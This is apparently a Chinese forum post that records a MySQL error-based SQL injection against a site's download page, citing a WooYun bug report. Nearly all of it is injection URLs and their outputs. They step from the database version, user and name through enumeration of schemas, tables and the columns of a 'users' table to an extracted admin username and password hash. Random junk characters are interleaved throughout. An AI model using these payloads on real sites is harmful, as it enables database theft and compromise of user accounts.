http://www.wooyun.org/bugs/wooyun-2010-01666; z1 G; T- B% }- j5 ?' a" o" F, T
1 z6 V# X% g8 w/ w之前想找个测试 没想到这有 可以测试下做个记录而已 : ?2 @3 q. w- C% m# m& W% O4 z
1 B2 l* N; m! J6 n0 M# X; v, K9 Hhttp://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_0036 {0 y1 P! ?3 ^# X5 K, c
' h' A9 P' Y+ G% Y& @2 }' l$ T/data0/htdocs/leqi_new/app/myapp.php5 D4 S' t; c! G$ A
/ C/ t- p& E3 S3 j6 E 或者
* R; V; S$ _( V6 L0 C1 n7 Q3 k, I2 v+ A* c* O
/**********version()**********/ 5.1.49-log/ D, E+ a$ Y( t" J3 ] k# p
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
! I1 V( ?+ ]- s' s( v' \' f. |9 I+ W
/**********user()**********/ - o) A) A& m: d. \
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0033 p# g* ~( P$ z) H
' z6 ^( u; L' m4 e" M/**********database()**********/ leqi
2 u$ i+ ^1 _ x2 h1 E' O. thttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
! ?; f; \! v/ r, s( k
/ ~3 w$ T; \$ s$ a/**********limit依次递归爆库**********/
3 o; b- m, l. Z: y$ Ohttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003) f4 g; Q" K2 k: D! ~
information_schema
( J8 A/ L$ J6 P" I$ ~6 { M/ Nhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003( D0 p5 `! ]( N1 H
leqi6 A- U/ {' U, e/ ]. w/ O
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
- _9 n) M) e* Z7 Btest
2 |% v: i+ f: l5 p( ~5 @5 s2 R+ Q4 W7 b0 n! M1 f0 E" S# D
/**********limit依次递归爆表名**********/ J* G) N# S1 S1 k* K: q/ Y
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
+ R$ r! F+ r9 u( i+ U) dusers# Q; C3 [9 H3 ~1 h
. y5 _* J3 k3 `5 }
/**********limit依次递归爆字段名**********/2 `4 D' g. v T2 V4 \
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003* Z! v* i( K. E4 e; S: y9 S
user_id,username,nickname,passwd,group_id2 a9 L9 t0 S' Y1 m- b( F( ~& u/ ~
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
2 k" d ?4 N6 ]' B) [ Q/wapc/5000_0005_003
% Z( m8 \6 h/ ]/ V$ \9 E+ e11 215 M: y; D# ~3 N, m, V9 h
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
1 }4 F. m: Y% u- _! }/wapc/5000_0005_003
, ^3 D' M0 \7 A- r+ E8 a( o! J11 341 351 3613 k1 G4 W5 u3 T6 K4 Q+ r) y5 {
/**********爆数据**********/
7 }. g: V H; Ihttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
) ^& k* K+ l! {$ P: _# b2 wadmin1 J' g) E7 ~+ Z$ d" ^4 \( S
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23- h V" G; e* f: a
6a8b4574ca231eb8bd52764d4978ffcd
# z" a( T) q/ d g$ P
0 k' i7 ]9 S N/ Y, |
/ C/ w8 M- C5 [# | |